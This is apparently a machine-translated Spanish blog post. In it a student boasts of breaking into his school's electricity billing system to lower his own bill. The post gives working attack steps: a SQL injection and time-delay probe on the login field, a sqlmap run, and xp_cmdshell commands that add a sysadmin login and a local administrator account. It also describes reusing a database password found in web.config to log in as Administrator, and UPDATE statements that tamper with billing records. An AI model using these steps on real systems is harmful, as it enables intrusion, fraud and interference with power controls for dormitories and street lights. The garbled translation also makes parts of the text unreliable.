Tutorial de penetración de hackers: penetración de los sistemas de energía del campus

  
En el verano, la factura de la electricidad es costosa. Como estudiante en la escuela, no hay una fuente económica. Así que empecé la idea del sistema eléctrico de la escuela y quiero ahorrar algo de electricidad. Presentaré cómo me infiltré en el sistema eléctrico del campus. No hay mucho que decir directamente. 1. Compruebe si hay un punto de inyección En primer lugar, nuestra escuela tiene un sitio para consultar las tarifas de electricidad para verificar que no haya una vulnerabilidad del programa de sitio completo disponible para esta empresa. El sitio es aspx. El nombre de usuario y la contraseña dados por la escuela son todos los invitados. Después de ingresar el número del dormitorio, puede consultar. Directamente en la caja para inyectar. Ingrese gues ’ + ’ t contraseña casualmente perdida error de contraseña de solicitud, es obvio que mssql dividió la inyección. Se probó manualmente el siguiente invitado; IF SYSTEM_USER = 'sa' WAITFOR DELAY '00: 00: 05 Todavía hay una inyección de diferencia de tiempo, y es el permiso sa, en resumen, hay una inyección, directamente en la ejecución del mapa sql. 2. Privilegio de sqlmap La inyección posterior primero captura el paquete y luego sqlmap.py -r s.txt -p TextBox1 --dbs -username -password ¿Cuál es el hash del intento de crack pero no se quiebra, no quiero hash, después de todo es Sa permiso. Envío directo; exec master.dbo.sp_addlogin vgy95 $, V_gy95; ---; exec master.dbo.sp_addsrvrolemember vgy95, sysadmin; ---; exec master..xp_cmdshell " usuario neto vgy95 $ V_gy95 /add " -; exec master ..xp_cmdshell " administradores de red local vgy95 $ /add " - Afortunadamente, este servidor no configuró ninguna restricción de procedimientos almacenados desordenados, y todos se ejecutaron con éxito. Ahora hay permisos de sa para usuarios de sqlserver y remotos con privilegios de administrador. 3. Modificación de los datos de la factura eléctrica distorsionada Todos, creo que este básico está casi terminado, y luego actualizar o insertar cosas, pero el proceso es mucho más difícil que esto. En primer lugar, echemos un vistazo a la base de datos: obviamente es elecctldata. Vi que mi título restante es de 419.49 grados (esta tarifa de electricidad ha sido modificada), y busqué directamente en la base de datos "419.49", después de la implementación, descubrí que no se han revisado todas las tablas, que se encuentran en la tabla Dorm_Room_Info La identificación de mi habitación es 598 y la tabla de cargos de electricidad almacenados se ejecuta en el separador de consultas dbo.pos. Utilice ElecCtlDataselect * desde Pos donde ID = 598 para obtener el campo ElecLeft es la tarifa de electricidad restante, ahora la tarifa de electricidad es 419.49. Pero habrá dos en la base de datos. La diferencia entre los puntos decimales. Inmediatamente entregado el código de la página de consulta es cómo escribir, pero no se encontró. Vi una dll en el mismo directorio, inmediatamente pensé en la combinación de .net y dll, una herramienta de desensamblaje dll (reflector.exe) encontró este código: seleccione r.name como número de habitación, cast (p. ElecLeft /100.0 como decimal (20,2)) como 'poder restante (grados)', p.lastUpdateTime como tiempo de lectura del medidor de pos p, dorm_room_info r donde p.id = r.posid y r.name = '01 " Escribir el valor del campo ElecLeft dividido por 100 es el grado de la consulta, por lo que hay un espacio entre los dos puntos decimales. Conozca el principio de la construcción directa de la declaración: ACTUALIZACIÓN Pos. SET ElecLeft = 66666 DONDE ID = 598 muestra una ejecución exitosa, emocionado de verificar que la factura de electricidad es realmente el valor original de la situación. ? En realidad no tuvo éxito, y luego ejecutó un lado, aún muestra éxito pero el valor original después de la consulta. Baidu echó un vistazo, muchas personas dijeron que esto se debe a que la base de datos escribió cosas, por lo que retrocedió. Es decir, cuando la base de datos tiene actualización de datos, la transacción verificará la consistencia de cada operación de los datos de acuerdo con la declaración establecida. Si son inconsistentes, los datos se revertirán. Mi situación parece ser la siguiente: después de iniciar sesión de forma remota, descubrí que no podía usar T-sql para la depuración, por lo que abrí SQLServerProfiler para el seguimiento de la base de datos. Vi el Nombre de la Aplicación escrito en .Net sqlClient Data Provider. Hay un dispositivo externo que escribe datos en la base de datos todo el tiempo, por lo que no se puede cambiar mi factura de electricidad. Solo el usuario Administrador que intenta iniciar sesión en el servidor puede ver cuál es la situación, pero no la contraseña del Administrador. , y cayó en un problema difícil. Debido a que el servidor es Windows 2008 r2, los requisitos de contraseña son más, debe haber mayúsculas y símbolos especiales, por lo que me sentí desesperado en ese momento. Volví el web.config del sitio y vi que la contraseña del usuario sa es mjmic **** 123. Así que decidí usar esta contraseña para probar al usuario Administrador. ¡El resultado realmente está registrado! ! ! ! Un programa de comunicación encontrado ha estado escribiendo datos en la base de datos, como se muestra en la figura: parece que solo para detener este programa o usar el sitio web oficial del cliente para modificar, ver los accesos directos del sistema de administración de tarifas de energía de escritorio directamente abiertos, operar recargar y modificar datos, todo Ok Alguien me preguntó por qué no ejecuté este cliente para mi propio usuario. También lo ejecuté, pero el usuario que construí no tenía permiso para modificarlo, solo podía realizar consultas. Ok, este es el primer paso en la penetración de la red de mi campus, la penetración del sistema de energía. El sistema gestiona todos los dormitorios en nuestra escuela, incluidas varias luces de la calle. La tarifa de carga también se puede forzar para cerrar o abrir. Todavía es muy peligroso. Solo son vacaciones de verano y se presenta la laguna. Espero que los paquetes puedan aprender unos de otros. Este artículo proviene de [System Home] www.xp85.com
Copyright © Conocimiento de Windows All Rights Reserved